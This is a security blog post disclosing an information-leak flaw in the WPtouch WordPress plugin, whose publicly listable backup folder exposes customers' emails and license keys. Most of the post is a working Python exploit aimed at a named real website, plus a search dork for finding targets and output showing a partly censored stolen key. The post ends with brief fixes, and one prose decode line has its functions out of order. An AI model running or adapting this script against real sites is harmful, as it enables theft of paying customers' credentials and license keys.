0day: Extracting WPtouch Mobile Plugin License Keys

With 6,030,141 downloads the WPtouch Mobile Plugin is currently the 24th most popular WordPress plugin. The plugin offers “pro” functionality for which the users need to pay money. WPtouch suffers from information disclosure vulnerabilities, and today I’m going to demonstrate how to steal license keys. The vulnerabilities seem to affect most versions up until the current 3.4.10, I have not been bothered to test them all.

Having a quick peak at the pro functionality we can discover this beauty:

wptouch_add_pro_setting(
         'checkbox',
         'automatically_backup_settings',
         sprintf( __( 'Automatically backup settings to the %s folder', 'wptouch-pro' ),
         '<em>/wptouch-data/backups</em>' ),
         wptouchize_it( __( 'WPtouch Pro backups your settings each time they are saved.', 'wptouch-pro' ) ),
         WPTOUCH_SETTING_BASIC,
         '3.0'
),

Sounds like a good idea, right? Automatically backing things up, only a fool would mind that!

Let’s have a look at the wptouch_backup_settings() function located in core/admin-backup-restore.php:

$backup_string = base64_encode( gzcompress( serialize( $settings_to_save ), 9 ) );

$backup_base_name = 'wptouch-backup-' . date( 'Ymd-His') . '.txt';
$backup_file_name = WPTOUCH_BACKUP_DIRECTORY . '/' . $backup_base_name;
$backup_file = fopen( $backup_file_name, 'w+t' );
if ( $backup_file ) {
        fwrite( $backup_file, $backup_string );
        fclose( $backup_file );
}

What this tells us is that we can reverse the backup storing procedure and reading the contents of backup files by:

base64_decode(unserialize(gzuncompress(file_get_contents($backup_file_name))));

Naturally, that is more or less precisely what wptouch_restore_settings() does. wptouch_backup_settings() pretty much uses the same call to wptouch_get_settings() as anything else whenever a WPtouch setting needs to be read. It calls the get_settings(), the general method for loading settings, and returns them as expected.

When WPtouch is being configured it calls wptouch_create_directory_if_not_exist() for each directory required by the plugin to function. This is because the plugin relies on directories outside the traditional wp-content/plugins/ directory.

Namely, for backups, WPtouch creates either the wp-content/uploads/wptouch-data/ OR wp-content/wptouch-data/ hierarchy. (There appears to be some sort of difference between versions or installations, something that I have chosen not to dig very deeply into.) By default WordPress is shipped with an index.php file for preventing directory listing in the wp-content directory.

Yeah, you guessed it: WPtouch doesn’t protect the directory listing of its wptouch-data/backups/ directory. This leaves its often automatically created backups, named as ‘wptouch-backup-‘ . date( ‘Ymd-His’) . ‘.txt’, completely accessible to anybody that knows where to look. Although, the wptouch-data and wp-content directories may of course be renamed and being able to determine their paths is a given for this to work (dork inurl:”wptouch-data”).

When get_settings() is called by the backup routine it includes the plugin’s “BNCID” settings which, in turn, contains the customer’s configured e-mail address, license key and WordPress admin nonce. So I guess you could say that an undocumented pro function of WPtouch is to publicly share the pro user’s credentials so that nobody else needs to acquire them on their own. :-)

Proof of Concept

Hacking it all up targeting the least popular site I could find with my very low patience:

#!/usr/bin/env python2
import mechanize
import lxml.html
import phpserialize
import zlib
import base64

WP_CONTENT_URL = "http://holliava.com.au/wordpress/"
haystack = "wp-content/uploads/wptouch-data/backups/"

b = mechanize.Browser()
b.addheaders = [("User-Agent", "MAsTER hAs AWardEd mE yOuR wpTouCh lICeNSe KeY :PppPPppp")]
b.set_handle_robots(False)

url = WP_CONTENT_URL + haystack
print("[+] KnocKING: %s" % (url))

b.open(url)
r = b.response()
d = lxml.html.parse(r).getroot()
needles = [link.attrib.get("href") for link in d.xpath("//a")]

if len(needles) <= 1:
    raise Exception("[-] NO FILez such fAIl ")

print("[+] wOw mUcH fiLE")

for needle in needles:
    if "wptouch-backup-" in needle:
        url = WP_CONTENT_URL + haystack + needle
        d = b.open(url).read()
        objs = phpserialize.loads(zlib.decompress(base64.b64decode(d)), object_hook=phpserialize.phpobject)
        dict = objs[b"bncid"]._asdict()
        cust_email = dict[b"bncid"].decode("utf-8")
        license_key = dict[b"wptouch_license_key"].decode("utf-8")
        print("[+] %s: %s %s" % (needle, cust_email, license_key))

By running it we get (slightly censored):

$ ./sploit.py 
[+] KnocKING: http://holliava.com.au/wordpress/wp-content/uploads/wptouch-data/backups/
[+] wOw mUcH fiLE
[+] wptouch-backup-20131013-022334.txt: [email protected] acb7f-CENSORED-b25b0-a71a8

Possible fixes

  • Deny www access to the WPtouch backup directory and contained files
  • Optionally encrypt the WPtouch backup files with unique keys (per installation or by passphrase)
  • Optionally exclude critical information (is it really necessary for the plugin to backup the license key?)

Comments are closed.